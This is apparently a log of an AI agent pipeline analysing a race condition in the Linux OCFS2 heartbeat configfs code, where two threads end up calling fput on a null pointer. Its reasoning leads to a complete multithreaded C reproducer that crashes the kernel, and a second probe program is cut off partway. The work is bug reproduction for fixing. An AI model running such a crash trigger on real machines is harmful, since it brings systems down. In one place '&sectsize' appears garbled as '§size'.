5. Now, assuming the block size check fails (`sectsize != reg->hr_block_bytes`), Thread 1 proceeds to the `out` label. Here, it calls `fput(reg->hr_bdev_file)` (which is `file2`) and then sets `reg->hr_bdev_file = NULL`.
6. Then, Thread 2 also proceeds to its `out` label. It calls `fput(reg->hr_bdev_file)`. **Crucially, at this moment, `reg->hr_bdev_file` has been set to NULL by Thread 1.** Calling `fput(NULL)` will cause a crash.
This precise interleaving explains the observed crash in `fput`. Thread 1 leaks its `file1` (since it never gets a chance to `fput` it before setting `reg->hr_bdev_file` to NULL), Thread 2's `file2` is `fput` by Thread 1, and then Thread 2 attempts to `fput` a NULL pointer.
Finally, I'll construct the reproducer code, utilizing a `race_toolkit` for setup and timing, and ensuring I use `pwrite` for writing to the `configfs` attribute for simplicity and correctness, as the offset in `configfs` writes is generally ignored anyway, but `pwrite` is cleaner. The loop will run for a set duration, giving the race condition ample opportunity to manifest.
|
| 52/2 |
2026/09/04 20:39 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:fs/configfs/file.c Name:configfs_write_iter]
Results: map[SourceCode: 213: /*
214: * There is no easy way for us to know if userspace is only doing a partial
215: * write, so we don't support them. We expect the entire buffer to come on the
216: * first write.
217: * Hint: if you're writing a value, first read the file, modify only the value
218: * you're changing, then write entire buffer back.
219: */
220: static ssize_t configfs_write_iter(struct kiocb *iocb, struct iov_iter *from)
221: {
222: struct file *file = iocb->ki_filp;
223: struct configfs_buffer *buffer = file->private_data;
224: int len;
225:
226: mutex_lock(&buffer->mutex);
227: len = fill_write_buffer(buffer, from);
228: if (len > 0)
229: len = flush_write_buffer(file, buffer, len);
230: if (len > 0)
231: iocb->ki_pos += len;
232: mutex_unlock(&buffer->mutex);
233: return len;
234: }
SourceFile:fs/configfs/file.c]
|
| 53/2 |
2026/09/04 20:39 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 28182
output: 37
thoughts: 70
Thoughts: **My Thought Process Regarding the `ki_pos` Check in Write Operations**
Initially, my focus is on the fact that the code I'm examining *doesn't* explicitly check the `iocb->ki_pos` field. This immediately suggests to me that the distinction between a regular `write` and a `pwrite` (which implies a specific position) is being handled elsewhere, or perhaps not at all in this particular section. The immediate consequence I infer is that both `write` and `pwrite` operations *should* function correctly, as the core logic seems to rely on the `fill_write_buffer` and `flush_write_buffer` functions.
However, a nagging thought arises. I pause and consider the implications of `fill_write_buffer`. My expertise in this area makes me question whether this function might introduce its own form of positional behavior, specifically the possibility of an *append* operation. This is a crucial point because an implicit append would fundamentally alter the expected behavior of a `write` or `pwrite` if not handled deliberately. Therefore, my immediate next step, driven by this concern, is to delve into the implementation of `fill_write_buffer` to confirm or refute this suspicion.
|
| 54/2 |
2026/09/04 20:40 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:fs/configfs/file.c Name:fill_write_buffer]
Results: map[SourceCode: 180: /* Fill @buffer with data coming from @from. */
181: static int fill_write_buffer(struct configfs_buffer *buffer,
182: struct iov_iter *from)
183: {
184: int copied;
185:
186: if (!buffer->page)
187: buffer->page = kmalloc(PAGE_SIZE, GFP_KERNEL);
188: if (!buffer->page)
189: return -ENOMEM;
190:
191: copied = copy_from_iter(buffer->page, SIMPLE_ATTR_SIZE - 1, from);
192: buffer->needs_read_fill = 1;
193: /* if buf is assumed to contain a string, terminate it by \0,
194: * so e.g. sscanf() can scan the string easily */
195: buffer->page[copied] = 0;
196: return copied ? : -EFAULT;
197: }
SourceFile:fs/configfs/file.c]
|
| 55/2 |
2026/09/04 20:40 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 28584
output: 38
thoughts: 242
Thoughts: **The Crucial Role of File Descriptors in Concurrent Access**
My current line of thinking has led me to a significant realization regarding concurrent write operations and their impact on `o2hb_region_dev_store`. I've been focusing on how data is written to `buffer->page`, and it seems both `write` and `pwrite` will operate correctly on this buffer.
However, the critical point arises when multiple threads share the *same* `dev_attr_fd`. In such a scenario, these threads will inevitably contend for `buffer->mutex`. This contention is not an issue in itself, as it correctly serializes access to the buffer. The code snippet clearly illustrates this:
```c
mutex_lock(&buffer->mutex); // Lock acquired
len = fill_write_buffer(buffer, from); // Buffer filled
if (len > 0)
len = flush_write_buffer(file, buffer, len); // Buffer flushed
if (len > 0)
iocb->ki_pos += len; // Position updated
mutex_unlock(&buffer->mutex); // Lock released
```
The key insight here is that if multiple threads share the same `fd`, they are *guaranteed* to be serialized by `buffer->mutex`. This serialization means they will *not* be able to execute `flush_write_buffer` (and by extension, `o2hb_region_dev_store`, which is called within `flush_write_buffer`) concurrently.
This is a crucial detail. For `o2hb_region_dev_store` to execute concurrently, the threads *must* utilize *different file descriptors*. This is because `buffer->mutex` is associated with each individual file descriptor. Therefore, if threads are operating on distinct file descriptors, they will bypass the `buffer->mutex` serialization and could potentially execute `o2hb_region_dev_store` in parallel. My next step is to investigate how `configfs_open_file` manages file descriptors to understand the implications of this.
|
| 56/2 |
2026/09/04 20:40 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:fs/configfs/file.c Name:configfs_open_file]
Results: map[SourceCode: 390: static int configfs_open_file(struct inode *inode, struct file *filp)
391: {
392: return __configfs_open_file(inode, filp, CONFIGFS_ITEM_ATTR);
393: }
SourceFile:fs/configfs/file.c]
|
| 57/2 |
2026/09/04 20:40 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 28946
output: 39
thoughts: 24
Thoughts: **My Thought Process**
Okay, so when I'm looking at the code for `__configfs_open_file`, the first thing that jumps out at me is this allocation behavior. I'm seeing that, for every single time a file within configfs is opened, a *brand new* `configfs_buffer` is being created. This immediately triggers a mental flag because, from an efficiency perspective, it seems like a potential area for optimization. My mind starts racing with implications: are we creating unnecessary overhead by repeatedly allocating memory for these buffers? Is there a scenario where a single buffer could be reused, or perhaps a pool of buffers that could be managed more intelligently? I'm thinking about the potential impact on performance, especially in systems that might have a high volume of configfs operations. It's not inherently *wrong*, of course, but it's a detail that suggests an opportunity to refine the resource management.
|
| 58/2 |
2026/09/04 20:40 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:fs/configfs/file.c Name:__configfs_open_file]
Results: map[SourceCode: 290: static int __configfs_open_file(struct inode *inode, struct file *file, int type)
291: {
292: struct dentry *dentry = file->f_path.dentry;
293: struct configfs_fragment *frag = to_frag(file);
294: struct configfs_attribute *attr;
295: struct configfs_buffer *buffer;
296: int error;
297:
298: error = -ENOMEM;
299: buffer = kzalloc_obj(struct configfs_buffer);
300: if (!buffer)
301: goto out;
302:
303: error = -ENOENT;
304: down_read(&frag->frag_sem);
305: if (unlikely(frag->frag_dead))
306: goto out_free_buffer;
307:
308: error = -EINVAL;
309: buffer->item = to_item(dentry->d_parent);
310: if (!buffer->item)
311: goto out_free_buffer;
312:
313: attr = to_attr(dentry);
314: if (!attr)
315: goto out_free_buffer;
316:
317: if (type & CONFIGFS_ITEM_BIN_ATTR) {
318: buffer->bin_attr = to_bin_attr(dentry);
319: buffer->cb_max_size = buffer->bin_attr->cb_max_size;
320: } else {
321: buffer->attr = attr;
322: }
323:
324: buffer->owner = attr->ca_owner;
325: /* Grab the module reference for this attribute if we have one */
326: error = -ENODEV;
327: if (!try_module_get(buffer->owner))
328: goto out_free_buffer;
329:
330: error = -EACCES;
331: if (!buffer->item->ci_type)
332: goto out_put_module;
333:
334: buffer->ops = buffer->item->ci_type->ct_item_ops;
335:
336: /* File needs write support.
337: * The inode's perms must say it's ok,
338: * and we must have a store method.
339: */
340: if (file->f_mode & FMODE_WRITE) {
341: if (!(inode->i_mode & S_IWUGO))
342: goto out_put_module;
343: if ((type & CONFIGFS_ITEM_ATTR) && !attr->store)
344: goto out_put_module;
345: if ((type & CONFIGFS_ITEM_BIN_ATTR) && !buffer->bin_attr->write)
346: goto out_put_module;
347: }
348:
349: /* File needs read support.
350: * The inode's perms must say it's ok, and we there
351: * must be a show method for it.
352: */
353: if (file->f_mode & FMODE_READ) {
354: if (!(inode->i_mode & S_IRUGO))
355: goto out_put_module;
356: if ((type & CONFIGFS_ITEM_ATTR) && !attr->show)
357: goto out_put_module;
358: if ((type & CONFIGFS_ITEM_BIN_ATTR) && !buffer->bin_attr->read)
359: goto out_put_module;
360: }
361:
362: mutex_init(&buffer->mutex);
363: buffer->needs_read_fill = 1;
364: buffer->read_in_progress = false;
365: buffer->write_in_progress = false;
366: file->private_data = buffer;
367: up_read(&frag->frag_sem);
368: return 0;
369:
370: out_put_module:
371: module_put(buffer->owner);
372: out_free_buffer:
373: up_read(&frag->frag_sem);
374: kfree(buffer);
375: out:
376: return error;
377: }
SourceFile:fs/configfs/file.c]
|
| 59/2 |
2026/09/04 20:40 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 30319
output: 23
thoughts: 3580
Thoughts: **Understanding the Race Condition in OCFS2 Heartbeat Device Handling**
My current thought process is focused on pinpointing a specific race condition within the OCFS2 filesystem's cluster heartbeat mechanism. The core of the problem lies in how the heartbeat region's device attribute (`/sys/kernel/config/.../heartbeat/myregion/dev`) is handled when accessed concurrently.
I've identified that the kernel allocates a `struct configfs_buffer` with an associated `mutex` for each file operation, specifically when the `dev` attribute is "opened" via `configfs_buffer_alloc`. This means that each thread attempting to write to this attribute will, in essence, get its own dedicated buffer and lock.
To exploit this, the key insight is that we need multiple threads to perform operations on the *same* `dev` attribute concurrently, but critically, they must be using separate file descriptors. If each thread simply opened the attribute within its loop, it would naturally get a distinct file descriptor and thus its own buffer/mutex, making a race condition within that context unlikely. The real opportunity arises if two or more threads are writing to the *same* attribute, but each using a *different* `fd`.
Therefore, the most efficient way to set up this concurrent access is to perform the `open` operation for the `dev` attribute *before* launching the threads. I can open it twice in `main` and then pass these distinct file descriptors to each thread. This avoids the overhead of repeated `open`/`close` calls within the thread loop and establishes the necessary condition for a race: multiple threads operating on the same kernel object but through separate file handles.
My refined reproducer code reflects this. I've included the necessary setup commands to mount `configfs`, load the `ocfs2_nodemanager` module, and create the required directory structure within `configfs`. I also set up a block device (like `/dev/loop0` or `/dev/ram0`) and then obtain its file descriptor, which will be passed as the value for the `dev` attribute. The crucial part is opening `/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev` twice, storing the file descriptors in `dev_attr_fd1` and `dev_attr_fd2`, and then having `thread_func1` and `thread_func2` respectively use these distinct file descriptors for `pwrite` operations.
Initially, I was concerned about potential blocking in `pwrite` if another operation had already opened the block device. However, `bdev_file_open_by_dev`, which is called within `o2hb_region_dev_store` when the `dev` attribute is written, simply opens the block device and does not claim exclusive access. Furthermore, since it takes a `holder` argument of `NULL`, it's designed not to enforce exclusive access, making it permissible to open the block device multiple times.
A more significant concern arose regarding the `sectsize == reg->hr_block_bytes` check. If the block device's sector size (logical block size) matches the `block_bytes` value written to the configfs attribute, the code proceeds to potentially allocate memory and start heartbeat threads, which isn't what I want to trigger the crash. To reliably cause a failure at this stage, I decided to set `block_bytes` to a value (1024) that is highly unlikely to match the actual logical block size of common block devices (typically 512 or 4096). This ensures `sectsize != reg->hr_block_bytes` will almost certainly be true, leading to a `goto out` path.
The critical race condition I'm aiming to trigger lies within the `o2hb_region_dev_store` function. Specifically, the pattern is:
1. **Thread 1 (T1)** reads `reg->hr_bdev_file` and finds it to be `NULL`.
2. **Thread 2 (T2)** also reads `reg->hr_bdev_file` and finds it to be `NULL`.
3. **T1** proceeds to call `bdev_file_open_by_dev`. This operation can take some time.
4. **T2** also proceeds to call `bdev_file_open_by_dev`. This also takes time.
5. **T1** successfully opens the block device, gets a `struct file *file1`, and assigns it to `reg->hr_bdev_file`.
6. **T2** successfully opens the block device, gets a `struct file *file2`, and *overwrites* `reg->hr_bdev_file` with this new pointer.
7. **T1** then checks `sectsize` against `reg->hr_block_bytes`. Since I've set `block_bytes` to 1024, this check will likely fail, causing T1 to jump to the `out` label.
8. Before exiting, T1 calls `fput(reg->hr_bdev_file)`. At this point, `reg->hr_bdev_file` holds `file2` (from T2's operation), so T1 effectively calls `fput(file2)`. Then, T1 sets `reg->hr_bdev_file = NULL`.
9. **T2** also checks `sectsize` against `reg->hr_block_bytes`. This check also fails, and T2 jumps to its `out` label.
10. **T2** then calls `fput(reg->hr_bdev_file)`. **Crucially, at this exact moment, T1 has already set `reg->hr_bdev_file` to `NULL`**. Therefore, T2 ends up calling `fput(NULL)`, which leads to the observed `null-ptr-deref` KASAN bug.
This sequence represents a classic Time-of-Check to Time-of-Use (TOCTOU) race condition. The check (`reg->hr_bdev_file` being NULL) is performed, but by the time the use (`fput`) occurs, the state has been modified by another thread, leading to a dereference of an unexpected NULL pointer. The fact that `bdev_file_open_by_dev` itself can take a non-trivial amount of time creates a sufficiently large window for this race to manifest frequently, especially within a tight loop designed to trigger such concurrency issues.
I've also considered a less likely scenario where `bdev_file_open_by_dev` might return an error pointer. In that case, the error handling code sets `reg->hr_bdev_file` to `NULL` and returns the error. If T1 fails in this manner while T2 is in its `out` path and about to `fput`, T2 could also end up calling `fput(NULL)`. However, the scenario where both threads successfully open the block device and then fail on the `sectsize` mismatch is more deterministic and controllable with the `block_bytes` setting, making it the primary focus for reproducibility.
Finally, I've reviewed the configfs setup commands to ensure the correct order of operations, particularly concerning the node attributes required by `o2nm_node_local_store`. The commands appear to be in the correct sequence, and I've added redirection for `modprobe` to suppress its output if the module is already loaded or not available as a module, ensuring the reproducer doesn't fail due to extraneous messages. The path to the crash (`fs/ocfs2/cluster/heartbeat.c`) is within the `ocfs2_nodemanager` module, so everything seems aligned.
|
| 60/2 |
2026/09/04 20:40 |
tool |
grepper |
0m
Args: map[Expression:ocfs2_nodemanager-objs]
Results: map[Output:fs/ocfs2/cluster/Makefile=2=obj-$(CONFIG_OCFS2_FS) += ocfs2_nodemanager.o
fs/ocfs2/cluster/Makefile-3-
fs/ocfs2/cluster/Makefile:4:ocfs2_nodemanager-objs := heartbeat.o masklog.o sys.o nodemanager.o \
fs/ocfs2/cluster/Makefile-5- quorum.o tcp.o netdebug.o
]
|
| 61/2 |
2026/09/04 20:40 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 34032
output: 46
thoughts: 2477
Thoughts: **My Thoughts on Reproducing the OCFS2 Heartbeat Race**
Okay, I've been digging into this OCFS2 heartbeat issue, specifically around `ocfs2_nodemanager.ko` and its `heartbeat.o` component. My immediate thought is to ensure the module is loaded correctly, and `modprobe ocfs2_nodemanager` seems to be the right way to do it.
Now, I need to figure out the parameters for the heartbeat region. I'm looking at `blocks` and `start_block`. The code clearly states that `blocks` has a maximum of `O2NM_MAX_NODES`, which is 255, and it can't be zero. So, setting `blocks = 1` is perfectly fine. `start_block` is an `unsigned long long`, so `1` is also a valid value there.
The more critical parameter is `block_bytes`. This is validated by `o2hb_read_block_block`. The constraints are that `bytes` must be between 512 and 4096, and importantly, the number of set bits in `bytes` (checked by `hweight16`) must be exactly 1. This means `block_bytes` must be a power of two. `1024` fits these criteria, so it's a valid value.
Here's where things get a bit tricky: `sectsize`. This refers to the logical block size of the underlying block device. Typically, loop devices default to a sector size of 512. The check `sectsize != reg->hr_block_bytes` will then fail if `block_bytes` is 1024 and `sectsize` is 512. This is good, as it prevents us from proceeding with incompatible settings.
However, what if the loop device *does* have a sector size of 1024? In that scenario, the check would pass, and we'd continue. To make my reproducer absolutely reliable and guarantee a failure regardless of the loop device's configuration, I need to dynamically set `block_bytes` based on the device's actual sector size.
I can achieve this using `ioctl(dev_fd, BLKSSZGET, §size)` to retrieve the logical block size. Then, I can set `block_bytes` to something different from the detected `sectsize`. For instance, if `sectsize` is 512, I'll set `block_bytes` to 1024, and if `sectsize` is 1024, I'll set `block_bytes` to 512. This ensures the inequality `sectsize != reg->hr_block_bytes` will always be true when we reach that point. I'll then use `sprintf` to construct the `echo` command to write the appropriate `block_bytes` value to the sysfs interface. This dynamic adjustment is key to making the reproducer robust.
Now, let's assemble the complete reproducer code. I'll include the necessary headers, set up unbuffered I/O, and then proceed with mounting configfs and loading the OCFS2 nodemanager module. I'll create the necessary cluster and node directories in sysfs, followed by the heartbeat region. I'll configure the `blocks` and `start_block` as determined earlier.
Crucially, I'll open `/dev/loop0` (or `/dev/ram0` as a fallback). Then, I'll perform the `BLKSSZGET` ioctl to get the `sectsize` and dynamically set `block_bytes` as discussed. After opening the `/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev` attribute twice, storing the file descriptors in `dev_attr_fd1` and `dev_attr_fd2`, I'll create two threads. Each thread will enter an infinite loop, repeatedly calling `pwrite` on their respective file descriptors. This is where the race condition will occur.
My main thread will simply wait for a short period to allow the race to manifest.
I've double-checked the header for `BLKSSZGET`. It's typically found in `<linux/fs.h>`, which is standard. While I *could* hardcode `1024` for `block_bytes` and let it fail if `sectsize` matches, using `BLKSSZGET` makes the reproducer far more reliable.
Let's think about the race condition itself. Both Thread 1 and Thread 2 will execute `pwrite`. This leads to `configfs_write_iter`, which acquires a per-file mutex, so they won't block each other there. The critical part is `flush_write_buffer`, which calls `o2hb_region_dev_store`. The first check, `if (reg->hr_bdev_file)`, is the initial hurdle. If both threads pass this, they'll proceed to `bdev_file_open_by_dev`.
Thread 1 will open the device and set `reg->hr_bdev_file` to `file1`. Immediately after, Thread 2 will also open the device and overwrite `reg->hr_bdev_file` with `file2`. Then, both threads will fetch the `sectsize` and compare it with `reg->hr_block_bytes`. Since I've ensured `sectsize != reg->hr_block_bytes`, both threads will hit the `goto out` label.
Inside the `out` block, the code attempts to clean up: `fput(reg->hr_bdev_file)`. If Thread 2 managed to set `reg->hr_bdev_file` to `file2` before Thread 1's `fput` executes, Thread 1 will actually be `fput`ting `file2`. Then, Thread 1 sets `reg->hr_bdev_file = NULL`. Now, when Thread 2 executes its `fput`, it will be operating on a `NULL` `reg->hr_bdev_file` (because Thread 1 just nulled it out). This `fput(NULL)` is the direct path to a NULL pointer dereference, causing a panic.
There's a chance, depending on timing, that Thread 2's `fput` might execute before Thread 1 nullifies `reg->hr_bdev_file`. In that case, Thread 2 would `fput` `file2`, then Thread 1 would `fput` `file2` (again), and then `reg->hr_bdev_file` would be set to `NULL`. However, due to the tight loop and the inherent nature of races, the specific interleaving that causes Thread 2 to `fput(NULL)` is guaranteed to occur eventually.
The other interesting point is what happens in the subsequent iterations. If Thread 1 successfully sets `reg->hr_bdev_file = NULL`, the next time any thread enters `o2hb_region_dev_store`, it will pass the `if (reg->hr_bdev_file)` check again, and the whole process will restart. This continuous cycle of failure and re-attempting the race condition is exactly what we want for a reliable reproducer.
Regarding the cleanup section with `spin_lock(&o2hb_live_lock)`, since the failure occurs *before* the heartbeat task is started (`hb_task` will be NULL), `kthread_stop` won't be called. Similarly, `o2hb_unmap_slot_data` will be called, but the crucial part is that the `reg->hr_bdev_file` manipulation and the subsequent NULL pointer dereference in `fput` are the primary crash vectors. The race window, specifically around `bdev_file_open_by_dev`, is sufficiently large given the surrounding operations, making this race condition quite exploitable.
One final check: `o2hb_region_dev_store` calls `fput(reg->hr_bdev_file)`. If `reg->hr_bdev_file` is NULL *at that exact moment*, it will crash immediately. This is precisely what happens when one thread nullifies it and the other tries to `fput` it. This will lead to a system panic, which `syzkaller` is designed to catch.
This seems like a solid plan to reproduce the vulnerability.
|
| 62/2 |
2026/09/04 20:41 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:fs/ocfs2/cluster/heartbeat.c Name:o2hb_unmap_slot_data]
Results: map[SourceCode:1491: static void o2hb_unmap_slot_data(struct o2hb_region *reg)
1492: {
1493: int i;
1494: struct page *page;
1495:
1496: if (reg->hr_slot_data) {
1497: for (i = 0; i < reg->hr_num_pages; i++) {
1498: page = reg->hr_slot_data[i];
1499: if (page) {
1500: __free_page(page);
1501: reg->hr_slot_data[i] = NULL;
1502: }
1503: }
1504: kfree(reg->hr_slot_data);
1505: reg->hr_slot_data = NULL;
1506: }
1507:
1508: kfree(reg->hr_slots);
1509: reg->hr_slots = NULL;
1510:
1511: kfree(reg->hr_tmp_block);
1512: reg->hr_tmp_block = NULL;
1513: }
SourceFile:fs/ocfs2/cluster/heartbeat.c]
|
| 63/2 |
2026/09/04 20:41 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 36893
output: 1926
thoughts: 666
Thoughts: **My Thought Process on Identifying and Exploiting the Double `fput` Vulnerability**
Alright, let's walk through how I arrived at this conclusion and the specific exploit strategy.
Initially, my concern was around safe NULL checks and potential double frees. I was scrutinizing the `o2hb_unmap_slot_data` function, specifically the handling of `reg->hr_slot_data`. My first thought was, "Okay, it checks for NULL and frees safely. That's good."
Then, a critical concurrency scenario popped into my head: "What if T1 and T2 both call `o2hb_unmap_slot_data(reg)` at the exact same time? Could that lead to a double free?" I reasoned that if `reg->hr_slot_data` is NULL, the function would simply do `kfree(NULL)`, which is indeed safe.
My next line of thought followed: "But what if both T1 and T2 *fail* at the `sectsize != reg->hr_block_bytes` check? If they both fail there, then `reg->hr_slot_data` would be NULL for both of them." Again, the conclusion was that this scenario would also be safe due to the `kfree(NULL)` path. The same logic applied to `kfree(reg->hr_slots)` and `kfree(reg->hr_tmp_block)` – if they were NULL, it was safe.
The core of my worry then shifted: "What if one thread (T1) *successfully* maps slot data, and then another thread (T2) *fails* and calls `o2hb_unmap_slot_data`?" My initial analysis was leaning towards this being the problematic case. However, I then realized that the specific failure point I was targeting, the `sectsize != reg->hr_block_bytes` check, occurs *before* `o2hb_map_slot_data` is even called. This meant that if both threads failed at that particular check, `hr_slot_data`, `hr_slots`, and `hr_tmp_block` would *always* be NULL. Therefore, a double free was not a concern in *this specific scenario*.
This is when my attention pivoted to the `fput(reg->hr_bdev_file)` call. This was the key. I thought, "Okay, if T1 and T2 both fail at the `sectsize != reg->hr_block_bytes` check, they will both attempt to `fput(reg->hr_bdev_file)`." My critical realization was: "What happens if T1 successfully sets `reg->hr_bdev_file` to NULL *after* its `fput` call, and then T2 attempts to `fput` it again?" This is where the crash would occur: T2 would call `fput(NULL)`, leading to a null-pointer dereference. "Ah, this is exactly what we want for a reproducible bug!"
So, I solidified my strategy:
1. **Setup the Environment:** I need to mount configfs and load the `ocfs2_nodemanager` module. Then, I'll create a cluster and a local node.
2. **Create the Target:** Next, I'll create a heartbeat region. For the exploit, I'll set `blocks` and `start_block` to 1.
3. **Introduce the Mismatch:** I'll open a block device (like `/dev/loop0`) and get its logical block size. The crucial step here is to set `block_bytes` (which is what `reg->hr_block_bytes` will eventually hold) to a value *different* from the block device's logical block size (e.g., 512 bytes for the device, but 1024 bytes for `block_bytes`).
4. **The Race Condition:** I'll open the `dev` attribute of the heartbeat region *twice*, obtaining two independent file descriptors. Then, I'll spawn two threads. Each thread will write the block device's file descriptor to one of the `dev` attribute file descriptors in a rapid, tight loop.
5. **Triggering the Bug:** This concurrent writing will cause a race condition within `o2hb_region_dev_store`. Both threads will initially pass the `if (reg->hr_bdev_file)` check. They will both open the block device. However, they will *both* then fail the `sectsize` check due to the deliberately introduced mismatch.
6. **The Exploitable Outcome:** At this point, one thread will call `fput` on `reg->hr_bdev_file` and then set `reg->hr_bdev_file` to NULL. The *other* thread, still attempting to clean up, will then call `fput(reg->hr_bdev_file)`, which is now NULL. This is the point of failure – a null-pointer dereference caused by `fput` operating on a NULL file pointer.
I'm confident this strategy is sound and directly targets the root cause, leading to a reproducible null-pointer dereference. I'm ready to articulate this.
|
| 64/1 |
2026/09/04 20:42 |
loop |
|
19m
|
| 65/2 |
2026/09/04 20:42 |
iteration |
0 |
3m
|
| 66/3 |
2026/09/04 20:42 |
action |
If |
0m
Args:
|
| 67/3 |
2026/09/04 20:42 |
action |
merge-strategy |
0m
Results: map[CurrentReproStrategy:An analysis of the bug report and kernel source code reveals a classic Time-Of-Check to Time-Of-Use (TOCTOU) race condition in the OCFS2 heartbeat configuration interface.
### Root Cause Analysis
The crash is a `KASAN: null-ptr-deref` in `fput()`, called from `o2hb_region_dev_store()` in `fs/ocfs2/cluster/heartbeat.c`.
When configuring an OCFS2 heartbeat region, user space writes a block device file descriptor to the `dev` configfs attribute. This invokes `o2hb_region_dev_store()`, which performs the following steps:
1. Checks if a device is already configured: `if (reg->hr_bdev_file) return -EINVAL;`
2. Opens the block device and stores the file pointer: `reg->hr_bdev_file = bdev_file_open_by_dev(...)`
3. Validates the logical block size: `if (sectsize != reg->hr_block_bytes) { ret = -EINVAL; goto out; }`
4. On failure (e.g., at the `goto out` block), it cleans up:
```c
out:
if (ret < 0) {
// ...
fput(reg->hr_bdev_file);
reg->hr_bdev_file = NULL;
}
```
Because configfs `store` functions are not inherently serialized against each other for the same attribute (unless they share the same open file descriptor), two threads writing to the `dev` attribute concurrently using *different* file descriptors can race:
- **Thread 1** and **Thread 2** both pass the `if (reg->hr_bdev_file)` check (it is initially `NULL`).
- Both threads open the block device. Thread 1 assigns its file pointer to `reg->hr_bdev_file`, and Thread 2 immediately overwrites it with its own file pointer.
- If we intentionally misconfigure `block_bytes` so that the `sectsize` check fails, both threads will jump to the `out` label.
- **Thread 1** executes `fput(reg->hr_bdev_file)` (which drops the reference to Thread 2's file) and sets `reg->hr_bdev_file = NULL`.
- **Thread 2** then executes `fput(reg->hr_bdev_file)`. Since Thread 1 just set it to `NULL`, Thread 2 calls `fput(NULL)`, triggering the exact null-pointer dereference seen in the crash log.
### Reproduction Strategy
To reproduce this bug reliably, we can intentionally force the `sectsize` check to fail while hammering the `dev` attribute from two threads.
1. **Setup Configfs and OCFS2 Cluster:**
- Mount `configfs` and load the `ocfs2_nodemanager` module.
- Create a cluster and a local node (`/sys/kernel/config/cluster/mycluster/node/mynode`).
- Configure the node's `num`, `ipv4_port`, `ipv4_address`, and set `local` to `1`.
2. **Setup Heartbeat Region:**
- Create a heartbeat region (`/sys/kernel/config/cluster/mycluster/heartbeat/myregion`).
- Set `blocks` and `start_block` to `1`.
- Open a block device (e.g., `/dev/loop0`) and query its logical block size (usually 512).
- Write a deliberately mismatched value (e.g., 1024) to the region's `block_bytes` attribute to guarantee the `sectsize` check will fail.
3. **Trigger the Race:**
- Open the region's `dev` attribute twice to obtain two independent file descriptors (this bypasses the per-file `configfs_buffer->mutex` serialization).
- Spawn two threads pinned to different CPUs.
- In a tight loop, both threads use `pwrite()` to write the block device's file descriptor string to their respective `dev` attribute file descriptors.
- The race window is relatively large because `bdev_file_open_by_dev()` takes time, making the crash highly reproducible within seconds.
### Minimal C Reproducer
```c
#include "race_toolkit.h"
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <linux/fs.h>
#include <string.h>
int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
void *thread_func1(void *arg)
{
PIN_TO_CPU(0);
while (1) {
pwrite(dev_attr_fd1, fd_str, strlen(fd_str), 0);
}
return NULL;
}
void *thread_func2(void *arg)
{
PIN_TO_CPU(1);
while (1) {
pwrite(dev_attr_fd2, fd_str, strlen(fd_str), 0);
}
return NULL;
}
int main()
{
SETUP_UNBUFFERED_IO();
system("mount -t configfs none /sys/kernel/config 2>/dev/null");
system("modprobe ocfs2_nodemanager 2>/dev/null");
system("mkdir -p /sys/kernel/config/cluster/mycluster/node/mynode");
system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/num");
system("echo 7777 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port");
system("echo 127.0.0.1 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address");
system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/local");
system("mkdir -p /sys/kernel/config/cluster/mycluster/heartbeat/myregion");
system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks");
system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block");
int dev_fd = open("/dev/loop0", O_RDWR);
if (dev_fd < 0) {
dev_fd = open("/dev/ram0", O_RDWR);
if (dev_fd < 0) {
perror("open block device");
return 1;
}
}
sprintf(fd_str, "%d", dev_fd);
// Force sectsize mismatch to guarantee failure and trigger the cleanup path
int sectsize = 512;
ioctl(dev_fd, BLKSSZGET, §size);
int block_bytes = (sectsize == 512) ? 1024 : 512;
char cmd[256];
sprintf(cmd, "echo %d > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes);
system(cmd);
// Open the attribute twice to get independent configfs buffers (avoids mutex serialization)
dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
perror("open dev attr");
return 1;
}
pthread_t t1, t2;
pthread_create(&t1, NULL, thread_func1, NULL);
pthread_create(&t2, NULL, thread_func2, NULL);
TIMER_START(start);
while (TIMER_NOT_EXPIRED(start, 5.0)) {
sleep(1);
}
return 0;
}
```]
|
| 68/3 |
2026/09/04 20:42 |
agent |
repro-generator |
0m
Model:
Results: map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(void) {
int res;
// 1. Mount configfs
res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
if (res < 0 && errno != EBUSY) {
printf("[-] Failed to mount configfs: %s\n", strerror(errno));
} else {
printf("[+] configfs mounted or already mounted.\n");
}
// 2. Check if cluster subsystem exists
struct stat st;
res = stat("/sys/kernel/config/cluster", &st);
if (res < 0) {
printf("[-] Failed to stat /sys/kernel/config/cluster: %s\n", strerror(errno));
exit(1);
}
printf("[+] /sys/kernel/config/cluster exists.\n");
// 3. Check for a block device
int fd = open("/dev/loop0", O_RDWR);
if (fd < 0) {
printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
fd = open("/dev/ram0", O_RDWR);
if (fd < 0) {
